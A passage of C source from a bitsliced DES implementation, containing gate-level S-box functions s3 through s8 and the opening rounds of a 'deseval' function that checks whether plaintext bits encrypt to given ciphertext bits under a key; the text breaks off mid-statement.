x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; unsigned long x43; unsigned long x44; unsigned long x45; unsigned long x46; unsigned long x47; unsigned long x48; unsigned long x49; unsigned long x50; unsigned long x51; unsigned long x52; unsigned long x53; unsigned long x54; unsigned long x55; unsigned long x56; unsigned long x57; x1 = ~(a5); x2 = ~(a6); x3 = (a3) & (a5); x4 = (a6) ^ (x3); x5 = (x1) & (a4); x6 = (x5) ^ (x4); x7 = (a2) ^ (x6); x8 = (x1) & (a3); x9 = (x2) ^ (a5); x10 = (x9) | (a4); x11 = (x10) ^ (x8); x12 = (x11) & (x7); x13 = (x11) ^ (a5); x14 = (x7) | (x13); x15 = (x14) & (a4); x16 = (x15) ^ (x12); x17 = (x16) & (a2); x18 = (x17) ^ (x11); x19 = (x18) & (a1); x20 = (x19) ^ (x7); *out4 = x20; x21 = (a4) ^ (a3); x22 = (x9) ^ (x21); x23 = (x4) | (x2); x24 = (x8) ^ (x23); x25 = (x24) | (a2); x26 = (x25) ^ (x22); x27 = (x23) ^ (a6); x28 = (a4) | (x27); x29 = (x15) ^ (a3); x30 = (x5) | (x29); x31 = (x30) | (a2); x32 = (x31) ^ (x28); x33 = (x32) | (a1); x34 = (x33) ^ (x26); *out1 = x34; x35 = (x9) ^ (a3); x36 = (x5) | (x35); x37 = (x29) | (x4); x38 = (a4) ^ (x37); x39 = (x38) | (a2); x40 = (x39) ^ (x36); x41 = (x11) & (a6); x42 = (x6) | (x41); x43 = (x38) ^ (x34); x44 = (x41) ^ (x43); x45 = (x44) & (a2); x46 = (x45) ^ (x42); x47 = (x46) | (a1); x48 = (x47) ^ (x40); *out3 = x48; x49 = (x38) | (x2); x50 = (x13) ^ (x49); x51 = (x28) ^ (x27); x52 = (x51) | (a2); x53 = (x52) ^ (x50); x54 = (x23) & (x12); x55 = (x52) & (x54); x56 = (x55) | (a1); x57 = (x56) ^ (x53); *out2 = x57; } static void s4 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; x1 = ~(a1); x2 = ~(a3); x3 = (a3) | (a1); x4 = (x3) & (a5); x5 = (x4) ^ (x1); x6 = (a3) | (a2); x7 = (x6) ^ (x5); x8 = (a5) & (a1); x9 = (x3) ^ (x8); x10 = (x9) & (a2); x11 = (x10) ^ (a5); x12 = (x11) & (a4); x13 = (x12) ^ (x7); x14 = (x4) ^ (x2); x15 = (x14) & (a2); x16 = (x15) ^ (x9); x17 = (x14) & (x5); x18 = (x2) ^ (a5); x19 = (x18) | (a2); x20 = (x19) ^ (x17); x21 = (x20) | (a4); x22 = (x21) ^ (x16); x23 = (x22) & (a6); x24 = (x23) ^ (x13); *out2 = x24; x25 = ~(x13); x26 = (x22) | (a6); x27 = (x26) ^ (x25); *out1 = x27; x28 = (x11) & (a2); x29 = (x17) ^ (x28); x30 = (x10) ^ (a3); x31 = (x19) ^ (x30); x32 = (x31) & (a4); x33 = (x32) ^ (x29); x34 = (x33) ^ (x25); x35 = (x34) & (a2); x36 = (x35) ^ (x24); x37 = (x34) | (a4); x38 = (x37) ^ (x36); x39 = (x38) & (a6); x40 = (x39) ^ (x33); *out4 = x40; x41 = (x38) ^ (x26); x42 = (x40) ^ (x41); *out3 = x42; } static void s5 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; unsigned long x43; unsigned long x44; unsigned long x45; unsigned long x46; unsigned long x47; unsigned long x48; unsigned long x49; unsigned long x50; unsigned long x51; unsigned long x52; unsigned long x53; unsigned long x54; unsigned long x55; unsigned long x56; unsigned long x57; unsigned long x58; unsigned long x59; unsigned long x60; unsigned long x61; unsigned long x62; x1 = ~(a6); x2 = ~(a3); x3 = (x2) | (x1); x4 = (a4) ^ (x3); x5 = (x3) & (a1); x6 = (x5) ^ (x4); x7 = (a4) | (a6); x8 = (a3) ^ (x7); x9 = (x7) | (a3); x10 = (x9) | (a1); x11 = (x10) ^ (x8); x12 = (x11) & (a5); x13 = (x12) ^ (x6); x14 = ~(x4); x15 = (a6) & (x14); x16 = (x15) | (a1); x17 = (x16) ^ (x8); x18 = (x17) | (a5); x19 = (x18) ^ (x10); x20 = (x19) | (a2); x21 = (x20) ^ (x13); *out3 = x21; x22 = (x15) | (x2); x23 = (a6) ^ (x22); x24 = (x22) ^ (a4); x25 = (x24) & (a1); x26 = (x25) ^ (x23); x27 = (x11) ^ (a1); x28 = (x22) & (x27); x29 = (x28) | (a5); x30 = (x29) ^ (x26); x31 = (x27) | (a4); x32 = ~(x31); x33 = (x32) | (a2); x34 = (x33) ^ (x30); *out2 = x34; x35 = (x15) ^ (x2); x36 = (x35) & (a1); x37 = (x36) ^ (x14); x38 = (x7) ^ (x5); x39 = (x34) & (x38); x40 = (x39) | (a5); x41 = (x40) ^ (x37); x42 = (x5) ^ (x2); x43 = (x16) & (x42); x44 = (x27) & (x4); x45 = (x44) & (a5); x46 = (x45) ^ (x43); x47 = (x46) | (a2); x48 = (x47) ^ (x41); *out1 = x48; x49 = (x48) & (x24); x50 = (x5) ^ (x49); x51 = (x30) ^ (x11); x52 = (x50) | (x51); x53 = (x52) & (a5); x54 = (x53) ^ (x50); x55 = (x19) ^ (x14); x56 = (x34) ^ (x55); x57 = (x16) ^ (x4); x58 = (x30) & (x57); x59 = (x58) & (a5); x60 = (x59) ^ (x56); x61 = (x60) | (a2); x62 = (x61) ^ (x54); *out4 = x62; } static void s6 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; unsigned long x43; unsigned long x44; unsigned long x45; unsigned long x46; unsigned long x47; unsigned long x48; unsigned long x49; unsigned long x50; unsigned long x51; unsigned long x52; unsigned long x53; unsigned long x54; unsigned long x55; unsigned long x56; unsigned long x57; x1 = ~(a2); x2 = ~(a5); x3 = (a6) ^ (a2); x4 = (x2) ^ (x3); x5 = (a1) ^ (x4); x6 = (a6) & (a5); x7 = (x1) | (x6); x8 = (x5) & (a5); x9 = (x8) & (a1); x10 = (x9) ^ (x7); x11 = (x10) & (a4); x12 = (x11) ^ (x5); x13 = (x10) ^ (a6); x14 = (a1) & (x13); x15 = (a6) & (a2); x16 = (a5) ^ (x15); x17 = (x16) & (a1); x18 = (x17) ^ (x2); x19 = (x18) | (a4); x20 = (x19) ^ (x14); x21 = (x20) & (a3); x22 = (x21) ^ (x12); *out2 = x22; x23 = (x18) ^ (a6); x24 = (x23) & (a1); x25 = (x24) ^ (a5); x26 = (x17) ^ (a2); x27 = (x6) | (x26); x28 = (x27) & (a4); x29 = (x28) ^ (x25); x30 = ~(x26); x31 = (x29) | (a6); x32 = ~(x31); x33 = (x32) & (a4); x34 = (x33) ^ (x30); x35 = (x34) & (a3); x36 = (x35) ^ (x29); *out4 = x36; x37 = (x34) ^ (x6); x38 = (x23) & (a5); x39 = (x5) ^ (x38); x40 = (x39) | (a4); x41 = (x40) ^ (x37); x42 = (x24) | (x16); x43 = (x1) ^ (x42); x44 = (x24) ^ (x15); x45 = (x31) ^ (x44); x46 = (x45) | (a4); x47 = (x46) ^ (x43); x48 = (x47) | (a3); x49 = (x48) ^ (x41); *out1 = x49; x50 = (x38) | (x5); x51 = (x6) ^ (x50); x52 = (x31) & (x8); x53 = (x52) | (a4); x54 = (x53) ^ (x51); x55 = (x43) & (x30); x56 = (x55) | (a3); x57 = (x56) ^ (x54); *out3 = x57; } static void s7 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; unsigned long x43; unsigned long x44; unsigned long x45; unsigned long x46; unsigned long x47; unsigned long x48; unsigned long x49; unsigned long x50; unsigned long x51; unsigned long x52; unsigned long x53; unsigned long x54; unsigned long x55; unsigned long x56; unsigned long x57; x1 = ~(a2); x2 = ~(a5); x3 = (a4) & (a2); x4 = (a5) ^ (x3); x5 = (a3) ^ (x4); x6 = (x4) & (a4); x7 = (a2) ^ (x6); x8 = (x7) & (a3); x9 = (x8) ^ (a1); x10 = (x9) | (a6); x11 = (x10) ^ (x5); x12 = (x2) & (a4); x13 = (a2) | (x12); x14 = (x2) | (a2); x15 = (x14) & (a3); x16 = (x15) ^ (x13); x17 = (x11) ^ (x6); x18 = (x17) | (a6); x19 = (x18) ^ (x16); x20 = (x19) & (a1); x21 = (x20) ^ (x11); *out1 = x21; x22 = (x21) | (a2); x23 = (x6) ^ (x22); x24 = (x15) ^ (x23); x25 = (x6) ^ (x5); x26 = (x12) | (x25); x27 = (x26) | (a6); x28 = (x27) ^ (x24); x29 = (x19) & (x1); x30 = (x26) & (x23); x31 = (x30) & (a6); x32 = (x31) ^ (x29); x33 = (x32) | (a1); x34 = (x33) ^ (x28); *out4 = x34; x35 = (x16) & (a4); x36 = (x1) | (x35); x37 = (x36) & (a6); x38 = (x37) ^ (x11); x39 = (x13) & (a4); x40 = (x7) | (a3); x41 = (x40) ^ (x39); x42 = (x24) | (x1); x43 = (x42) | (a6); x44 = (x43) ^ (x41); x45 = (x44) | (a1); x46 = (x45) ^ (x38); *out2 = x46; x47 = (x44) ^ (x8); x48 = (x15) ^ (x6); x49 = (x48) | (a6); x50 = (x49) ^ (x47); x51 = (x44) ^ (x19); x52 = (x25) ^ (a4); x53 = (x46) & (x52); x54 = (x53) & (a6); x55 = (x54) ^ (x51); x56 = (x55) | (a1); x57 = (x56) ^ (x50); *out3 = x57; } static void s8 (unsigned long a1,unsigned long a2,unsigned long a3,unsigned long a4,unsigned long a5,unsigned long a6,unsigned long* out1,unsigned long* out2,unsigned long* out3,unsigned long* out4) { unsigned long x1; unsigned long x2; unsigned long x3; unsigned long x4; unsigned long x5; unsigned long x6; unsigned long x7; unsigned long x8; unsigned long x9; unsigned long x10; unsigned long x11; unsigned long x12; unsigned long x13; unsigned long x14; unsigned long x15; unsigned long x16; unsigned long x17; unsigned long x18; unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22; unsigned long x23; unsigned long x24; unsigned long x25; unsigned long x26; unsigned long x27; unsigned long x28; unsigned long x29; unsigned long x30; unsigned long x31; unsigned long x32; unsigned long x33; unsigned long x34; unsigned long x35; unsigned long x36; unsigned long x37; unsigned long x38; unsigned long x39; unsigned long x40; unsigned long x41; unsigned long x42; unsigned long x43; unsigned long x44; unsigned long x45; unsigned long x46; unsigned long x47; unsigned long x48; unsigned long x49; unsigned long x50; unsigned long x51; unsigned long x52; unsigned long x53; unsigned long x54; x1 = ~(a1); x2 = ~(a4); x3 = (x1) ^ (a3); x4 = (x1) | (a3); x5 = (x2) ^ (x4); x6 = (x5) | (a5); x7 = (x6) ^ (x3); x8 = (x5) | (x1); x9 = (x8) ^ (x2); x10 = (x9) & (a5); x11 = (x10) ^ (x8); x12 = (x11) & (a2); x13 = (x12) ^ (x7); x14 = (x9) ^ (x6); x15 = (x9) & (x3); x16 = (x8) & (a5); x17 = (x16) ^ (x15); x18 = (x17) | (a2); x19 = (x18) ^ (x14); x20 = (x19) | (a6); x21 = (x20) ^ (x13); *out1 = x21; x22 = (x3) | (a5); x23 = (x2) & (x22); x24 = ~(a3); x25 = (x8) & (x24); x26 = (x4) & (a5); x27 = (x26) ^ (x25); x28 = (x27) | (a2); x29 = (x28) ^ (x23); x30 = (x29) & (a6); x31 = (x30) ^ (x13); *out4 = x31; x32 = (x6) ^ (x5); x33 = (x22) ^ (x32); x34 = (x13) | (a4); x35 = (x34) & (a2); x36 = (x35) ^ (x33); x37 = (x33) & (a1); x38 = (x8) ^ (x37); x39 = (x23) ^ (a1); x40 = (x7) & (x39); x41 = (x40) & (a2); x42 = (x41) ^ (x38); x43 = (x42) | (a6); x44 = (x43) ^ (x36); *out3 = x44; x45 = (x10) ^ (a1); x46 = (x22) ^ (x45); x47 = ~(x7); x48 = (x8) & (x47); x49 = (x48) | (a2); x50 = (x49) ^ (x46); x51 = (x29) ^ (x19); x52 = (x38) | (x51); x53 = (x52) & (a6); x54 = (x53) ^ (x50); *out2 = x54; } /* * Bitslice implementation of DES. * * Checks that the plaintext bits p[0] .. p[63] * encrypt to the ciphertext bits c[0] .. c[63] * given the key bits k0 .. k55 */ void deseval ( const unsigned long *p, unsigned long *c, const unsigned long *k ) { unsigned long l0 = p[6]; unsigned long l1 = p[14]; unsigned long l2 = p[22]; unsigned long l3 = p[30]; unsigned long l4 = p[38]; unsigned long l5 = p[46]; unsigned long l6 = p[54]; unsigned long l7 = p[62]; unsigned long l8 = p[4]; unsigned long l9 = p[12]; unsigned long l10 = p[20]; unsigned long l11 = p[28]; unsigned long l12 = p[36]; unsigned long l13 = p[44]; unsigned long l14 = p[52]; unsigned long l15 = p[60]; unsigned long l16 = p[2]; unsigned long l17 = p[10]; unsigned long l18 = p[18]; unsigned long l19 = p[26]; unsigned long l20 = p[34]; unsigned long l21 = p[42]; unsigned long l22 = p[50]; unsigned long l23 = p[58]; unsigned long l24 = p[0]; unsigned long l25 = p[8]; unsigned long l26 = p[16]; unsigned long l27 = p[24]; unsigned long l28 = p[32]; unsigned long l29 = p[40]; unsigned long l30 = p[48]; unsigned long l31 = p[56]; unsigned long r0 = p[7]; unsigned long r1 = p[15]; unsigned long r2 = p[23]; unsigned long r3 = p[31]; unsigned long r4 = p[39]; unsigned long r5 = p[47]; unsigned long r6 = p[55]; unsigned long r7 = p[63]; unsigned long r8 = p[5]; unsigned long r9 = p[13]; unsigned long r10 = p[21]; unsigned long r11 = p[29]; unsigned long r12 = p[37]; unsigned long r13 = p[45]; unsigned long r14 = p[53]; unsigned long r15 = p[61]; unsigned long r16 = p[3]; unsigned long r17 = p[11]; unsigned long r18 = p[19]; unsigned long r19 = p[27]; unsigned long r20 = p[35]; unsigned long r21 = p[43]; unsigned long r22 = p[51]; unsigned long r23 = p[59]; unsigned long r24 = p[1]; unsigned long r25 = p[9]; unsigned long r26 = p[17]; unsigned long r27 = p[25]; unsigned long r28 = p[33]; unsigned long r29 = p[41]; unsigned long r30 = p[49]; unsigned long r31 = p[57]; unsigned long k0 = k[0]; unsigned long k1 = k[1]; unsigned long k2 = k[2]; unsigned long k3 = k[3]; unsigned long k4 = k[4]; unsigned long k5 = k[5]; unsigned long k6 = k[6]; unsigned long k7 = k[7]; unsigned long k8 = k[8]; unsigned long k9 = k[9]; unsigned long k10 = k[10]; unsigned long k11 = k[11]; unsigned long k12 = k[12]; unsigned long k13 = k[13]; unsigned long k14 = k[14]; unsigned long k15 = k[15]; unsigned long k16 = k[16]; unsigned long k17 = k[17]; unsigned long k18 = k[18]; unsigned long k19 = k[19]; unsigned long k20 = k[20]; unsigned long k21 = k[21]; unsigned long k22 = k[22]; unsigned long k23 = k[23]; unsigned long k24 = k[24]; unsigned long k25 = k[25]; unsigned long k26 = k[26]; unsigned long k27 = k[27]; unsigned long k28 = k[28]; unsigned long k29 = k[29]; unsigned long k30 = k[30]; unsigned long k31 = k[31]; unsigned long k32 = k[32]; unsigned long k33 = k[33]; unsigned long k34 = k[34]; unsigned long k35 = k[35]; unsigned long k36 = k[36]; unsigned long k37 = k[37]; unsigned long k38 = k[38]; unsigned long k39 = k[39]; unsigned long k40 = k[40]; unsigned long k41 = k[41]; unsigned long k42 = k[42]; unsigned long k43 = k[43]; unsigned long k44 = k[44]; unsigned long k45 = k[45]; unsigned long k46 = k[46]; unsigned long k47 = k[47]; unsigned long k48 = k[48]; unsigned long k49 = k[49]; unsigned long k50 = k[50]; unsigned long k51 = k[51]; unsigned long k52 = k[52]; unsigned long k53 = k[53]; unsigned long k54 = k[54]; unsigned long k55 = k[55]; unsigned long k56 = k[56]; unsigned long k57 = k[57]; unsigned long k58 = k[58]; unsigned long k59 = k[59]; unsigned long k60 = k[60]; unsigned long k61 = k[61]; unsigned long k62 = k[62]; unsigned long k63 = k[63]; unsigned long t1 = r31 ^ k47; unsigned long t2 = r0 ^ k11; unsigned long t3 = r1 ^ k26; unsigned long t4 = r2 ^ k3; unsigned long t5 = r3 ^ k13; unsigned long t6 = r4 ^ k41; unsigned long out1; unsigned long out2; unsigned long out3; unsigned long out4; s1(t1,t2,t3,t4,t5,t6, &out1,&out2,&out3,&out4); l8 = l8 ^ out1; l16 = l16 ^ out2; l22 = l22 ^ out3; l30 = l30 ^ out4; unsigned long t7 = r3 ^ k27; unsigned long t8 = r4 ^ k6; unsigned long t9 = r5 ^ k54; unsigned long t10 = r6 ^ k48; unsigned long t11 = r7 ^ k39; unsigned long t12 = r8 ^ k19; unsigned long out5; unsigned long out6; unsigned long out7; unsigned long out8; s2(t7,t8,t9,t10,t11,t12, &out5,&out6,&out7,&out8); l12 = l12 ^ out5; l27 = l27 ^ out6; l1 = l1 ^ out7; l17 = l17 ^ out8; unsigned long t13 = r7 ^ k53; unsigned long t14 = r8 ^ k25; unsigned long t15 = r9 ^ k33; unsigned long t16 = r10 ^ k34; unsigned long t17 = r11 ^ k17; unsigned long t18 = r12 ^ k5; unsigned long out9; unsigned long out10; unsigned long out11; unsigned long out12; s3(t13,t14,t15,t16,t17,t18, &out9,&out10,&out11,&out12); l23 = l23 ^ out9; l15 = l15 ^ out10; l29 = l29 ^ out11; l5 = l5 ^ out12; unsigned long t19 = r11 ^ k4; unsigned long t20 = r12 ^ k55; unsigned long t21 = r13 ^ k24; unsigned long t22 = r14 ^ k32; unsigned long t23 = r15 ^ k40; unsigned long t24 = r16 ^ k20; unsigned long out13; unsigned long out14; unsigned long out15; unsigned long out16; s4(t19,t20,t21,t22,t23,t24, &out13,&out14,&out15,&out16); l25 = l25 ^ out13; l19 = l19 ^ out14; l9 = l9 ^ out15; l0 = l0 ^ out16; unsigned long t25 = r15 ^ k36; unsigned long t26 = r16 ^ k31; unsigned long t27 = r17 ^ k21; unsigned long t28 = r18 ^ k8; unsigned long t29 = r19 ^ k23; unsigned long t30 = r20 ^ k52; unsigned long out17; unsigned long out18; unsigned long out19; unsigned long out20; s5(t25,t26,t27,t28,t29,t30, &out17,&out18,&out19,&out20); l7 = l7 ^ out17; l13 = l13 ^ out18; l24 = l24 ^ out19; l2 = l2 ^ out20; unsigned long t31 = r19 ^ k14; unsigned long t32 = r20 ^ k29; unsigned long t33 = r21 ^ k51; unsigned long t34 = r22 ^ k9; unsigned long t35 = r23 ^ k35; unsigned long t36 = r24 ^ k30; unsigned long out21; unsigned long out22; unsigned long out23; unsigned long out24; s6(t31,t32,t33,t34,t35,t36, &out21,&out22,&out23,&out24); l3 = l3 ^ out21; l28 = l28 ^ out22; l10 = l10 ^ out23; l18 = l18 ^ out24; unsigned long t37 = r23 ^ k2; unsigned long t38 = r24 ^ k37; unsigned long t39 = r25 ^ k22; unsigned long t40 = r26 ^ k0; unsigned long t41 = r27 ^ k42; unsigned long t42 = r28 ^ k38; unsigned long out25; unsigned long out26; unsigned long out27; unsigned long out28; s7(t37,t38,t39,t40,t41,t42, &out25,&out26,&out27,&out28); l31 = l31 ^ out25; l11 = l11 ^ out26; l21 = l21 ^ out27; l6 = l6 ^ out28; unsigned long t43 = r27 ^ k16; unsigned long t44 = r28 ^ k43; unsigned long t45 = r29 ^ k44; unsigned long t46 = r30 ^ k1; unsigned long t47 = r31 ^ k7; unsigned long t48 = r0 ^ k28; unsigned long out29; unsigned long out30; unsigned long out31; unsigned long out32; s8(t43,t44,t45,t46,t47,t48, &out29,&out30,&out31,&out32); l4 = l4 ^ out29; l26 = l26 ^ out30; l14 = l14 ^ out31; l20 = l20 ^ out32; unsigned long t49 = l31 ^ k54; unsigned long t50 = l0 ^ k18; unsigned long t51 = l1 ^ k33; unsigned long t52 = l2 ^ k10; unsigned long t53 = l3 ^ k20; unsigned long t54 = l4 ^ k48; unsigned long out33; unsigned long out34; unsigned long out35; unsigned long out36; s1(t49,t50,t51,t52,t53,t54, &out33,&out34,&out35,&out36); r8 = r8 ^ out33; r16 = r16 ^ out34; r22 = r22 ^ out35; r30 = r30 ^ out36; unsigned long t55 = l3 ^ k34; unsigned long t56 = l4 ^ k13; unsigned long t57 = l5 ^ k4; unsigned long t58 = l6 ^ k55; unsigned long t59 = l7 ^ k46; unsigned long t60 = l8 ^ k26; unsigned long out37; unsigned long out38; unsigned long out39; unsigned long out40; s2(t55,t56,t57,t58,t59,t60, &out37,&out38,&out39,&out40); r12 = r12 ^ out37; r27 = r27 ^ out38; r1 = r1 ^ out39; r17 = r17 ^ out40; unsigned long t61 = l7 ^ k3; unsigned long t62 = l8 ^ k32; unsigned long t63 = l9 ^ k40; unsigned long t64 = l10 ^ k41; unsigned long t65 = l11 ^ k24; unsigned long t66 = l12 ^ k12; unsigned long out41; unsigned long out42; unsigned long out43; unsigned long out44; s3(t61,t62,t63,t64,t65,t66, &out41,&out42,&out43,&out44); r23 = r23 ^ out41; r15 = r15 ^ out42; r29 = r29 ^ out43; r5 = r5 ^ out44; unsigned long t67 = l11 ^ k11; unsigned long t68 = l12 ^ k5; unsigned long t69 = l13 ^ k6; unsigned long t70 = l14 ^ k39; unsigned long t71 = l15 ^ k47; unsigned long t72 = l16 ^ k27; unsigned long out45; unsigned long out46; unsigned long out47; unsigned long out48; s4(t67,t68,t69,t70,t71,t72, &out45,&out46,&out47,&out48); r25 = r25 ^ out45; r19 = r19 ^ out46; r9 = r9 ^ out47; r0 = r0 ^ out48; unsigned long t73 = l15 ^ k43; unsigned long t74 = l16 ^ k38; unsigned long t75 = l17 ^ k28; unsigned long t76 = l18 ^ k15; unsigned long t77 = l19 ^ k30; unsigned long t78 = l20 ^ k0; unsigned long out49; unsigned long out50; unsigned long out51; unsigned long out52; s5(t73,t74,t75,t76,t77,t78, &out49,&out50,&out51,&out52); r7 = r7 ^ out49; r13 = r13 ^ out50; r24 = r24 ^ out51; r2 = r2 ^ out52; unsigned long t79 = l19 ^ k21; unsigned long t80 = l20 ^ k36; unsigned long t81 = l21 ^ k31; unsigned long t82 = l22 ^ k16; unsigned long t83 = l23 ^ k42; unsigned long t84 = l24 ^ k37; unsigned long out53; unsigned long out54; unsigned long out55; unsigned long out56; s6(t79,t80,t81,t82,t83,t84, &out53,&out54,&out55,&out56); r3 = r3 ^ out53; r28 = r28 ^ out54; r10 = r10 ^ out55; r18 = r18 ^ out56; unsigned long t85 = l23 ^ k9; unsigned long t86 = l24 ^ k44; unsigned long t87 = l25 ^ k29; unsigned long t88 = l26 ^ k7; unsigned long t89 = l27 ^ k49; unsigned long t90 = l28 ^ k45; unsigned long out57; unsigned long out58; unsigned long out59; unsigned long out60; s7(t85,t86,t87,t88,t89,t90, &out57,&out58,&out59,&out60); r31 = r31 ^ out57; r11 = r11 ^ out58; r21 = r21 ^ out59; r6 = r6 ^ out60; unsigned long t91 = l27 ^ k23; unsigned long t92 = l28 ^ k50; unsigned long t93 = l29 ^ k51; unsigned long t94 = l30 ^ k8; unsigned long t95 = l31 ^ k14; unsigned long t96 = l0 ^ k35; unsigned long out61; unsigned long out62; unsigned long out63; unsigned long out64; s8(t91,t92,t93,t94,t95,t96, &out61,&out62,&out63,&out64); r4 = r4 ^ out61; r26 = r26 ^ out62; r14 = r14 ^ out63; r20 = r20 ^ out64; unsigned long t97 = r31 ^ k11; unsigned long t98 = r0 ^ k32; unsigned long t99 = r1 ^ k47; unsigned long t100 = r2 ^ k24; unsigned long t101 = r3 ^ k34; unsigned long t102 = r4 ^ k5; unsigned long out65; unsigned long out66; unsigned long out67; unsigned long out68; s1(t97,t98,t99,t100,t101,t102, &out65,&out66,&out67,&out68); l8 = l8 ^ out65; l16 = l16 ^ out66; l22 = l22 ^ out67; l30 = l30 ^ out68; unsigned long t103 = r3 ^ k48; unsigned long t104 = r4 ^ k27; unsigned long t105 = r5 ^ k18; unsigned long t106 = r6 ^ k12; unsigned long t107 = r7 ^ k3; unsigned long t108 = r8 ^ k40; unsigned long out69; unsigned long out70; unsigned long out71; unsigned long out72; s2(t103,t104,t105,t106,t107,t108, &out69,&out70,&out71,&out72); l12 = l12 ^ out69; l27 = l27 ^ out70; l1 = l1 ^ out71; l17 = l17 ^ out72; unsigned long t109 = r7 ^ k17; unsigned long t110 = r8 ^ k46; unsigned long t111 = r9 ^ k54; unsigned long t112 = r10 ^ k55; unsigned long t113 = r11 ^ k13; unsigned long t114 = r12 ^ k26; unsigned long out73; unsigned long out74; unsigned long out75; unsigned long out76; s3(t109,t110,t111,t112,t113,t114, &out73,&out74,&out75,&out76); l23 = l23 ^ out73; l15 = l15 ^ out74; l29 = l29 ^ out75; l5 = l5 ^ out76; unsigned long t115 = r11 ^ k25; unsigned long t116 = r12 ^ k19; unsigned long t117 = r13 ^ k20; unsigned long t118 = r14 ^ k53; unsigned long t119 = r15 ^ k4; unsigned long t120 = r16 ^ k41; unsigned long out77; unsigned long out78; unsigned long out79; unsigned long out80; s4(t115,t116,t117,t118,t119,t120, &out77,&out78,&out79,&out80); l25 = l25 ^ out77; l19 = l19 ^ out78; l9 = l9 ^ out79; l0 = l0 ^ out80; unsigned long t121 = r15 ^ k2; unsigned long t122 = r16 ^ k52; unsigned long t123 = r17 ^ k42; unsigned long t124 = r18 ^ k29; unsigned long t125 = r19 ^ k44; unsigned long t126 = r20 ^ k14; unsigned long out81; unsigned long out82; unsigned long out83; unsigned long out84; s5(t121,t122,t123,t124,t125,t126, &out81,&out82,&out83,&out84); l7 = l7 ^ out81; l13 = l13 ^ out82; l24 = l24 ^ out83; l2 = l2 ^ out84; unsigned long t127 = r19 ^ k35; unsigned long t128 = r20 ^ k50; unsigned long t129 = r21 ^ k45; unsigned long t130 = r22 ^ k30; unsigned long t131 = r23 ^ k1; unsigned long t132 = r24 ^ k51; unsigned long out85; unsigned long out86; unsigned long out87; unsigned long out88; s6(t127,t128,t129,t130,t131,t132, &out85,&out86,&out87,&out88); l3 = l3 ^ out85; l28 = l28 ^ out86; l10 = l10 ^ out87; l18 = l18 ^ out88; unsigned long t133 = r23 ^ k23; unsigned long t134 = r24 ^ k31; unsigned long t135 = r25 ^ k43; unsigned long t136 = r26 ^ k21; unsigned long t137 = r27 ^ k8; unsigned long t138 = r28 ^ k0; unsigned long out89; unsigned long out90; unsigned long out91; unsigned long out92; s7(t133,t134,t135,t136,t137,t138, &out89,&out90,&out91,&out92); l31 = l31 ^ out89; l11 = l11 ^ out90; l21 = l21 ^ out91; l6 = l6 ^ out92; unsigned long t139 = r27 ^ k37; unsigned long t140 = r28 ^ k9; unsigned long t141 = r29 ^ k38; unsigned long t142 = r30 ^ k22; unsigned long t143 = r31 ^ k28; unsigned long t144 = r0 ^ k49; unsigned long out93; unsigned long out94; unsigned long out95; unsigned long out96; s8(t139,t140,t141,t142,t143,t144, &out93,&out94,&out95,&out96); l4 = l4 ^ out93; l26 = l26 ^ out94; l14 